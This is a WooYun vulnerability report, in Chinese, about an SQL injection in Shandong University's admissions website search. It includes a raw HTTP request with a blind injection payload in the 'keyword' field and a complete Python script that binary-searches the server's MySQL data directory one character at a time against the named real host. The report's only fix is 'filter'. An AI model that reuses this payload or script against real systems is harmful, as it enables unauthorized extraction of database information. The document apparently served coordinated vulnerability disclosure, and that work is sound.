当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0160071

漏洞标题:山东大学一处注入漏洞附脚本

相关厂商:山东大学

漏洞作者: 路人甲

提交时间:2015-12-11 11:25

修复时间:2016-01-25 18:01

公开时间:2016-01-25 18:01

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-11: 细节已通知厂商并且等待厂商处理中
2015-12-12: 厂商已经确认,细节仅向厂商公开
2015-12-22: 细节向核心白帽子及相关领域专家公开
2016-01-01: 细节向普通白帽子公开
2016-01-11: 细节向实习白帽子公开
2016-01-25: 细节向公众公开

简要描述:

山东大学一处注入漏洞附脚本

详细说明:

POST /search HTTP/1.1
Content-Length: 61
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.bkzs.sdu.edu.cn
Cookie: JSESSIONID=5FE2DD4B830F1A5863F1D7E5B6947DEE;
SERVERID=d6b1c6187f7b39e92c6c281a5ffce854|1444727923|1444727923
Host: www.bkzs.sdu.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
btn=1&keyword='XOR(if(ascii(mid(@@datadir,1,1))>10,1,0))OR'


keyword存在注入
脚本:

#coding=utf-8
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL,data):
#print URL
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, data, user_agent)
try:
request = urllib2.urlopen(req)
except HTTPError, e:
if e.code == 500:
return 'Runtime Error'
except URLError, e:
#print('[!] We failed to reach a server.')
#print('[!] Reason: ' + str(e.reason))
sys.exit(1)
return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if (right-left==1):
result += chr(right)
print 'datadir: ' ,result
break
payload = "'XOR(if(ascii(mid(@@datadir,%s,1))>%s,1,0))OR'" % (index, mid)
param = {'keyword': payload,'btn':'1'}
print payload
html = request('http://www.bkzs.sdu.edu.cn/search',urllib.urlencode(param))
# print html
verify = 'datadir'
if verify not in html:
left = mid
else:
right = mid
if __name__ == '__main__':
for i in range(1,25):
binary_sqli(32, 127, i)

漏洞证明:

获取datadir

1.png

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-12-12 12:34

厂商回复:

已通报系统所属单位

最新状态:

暂无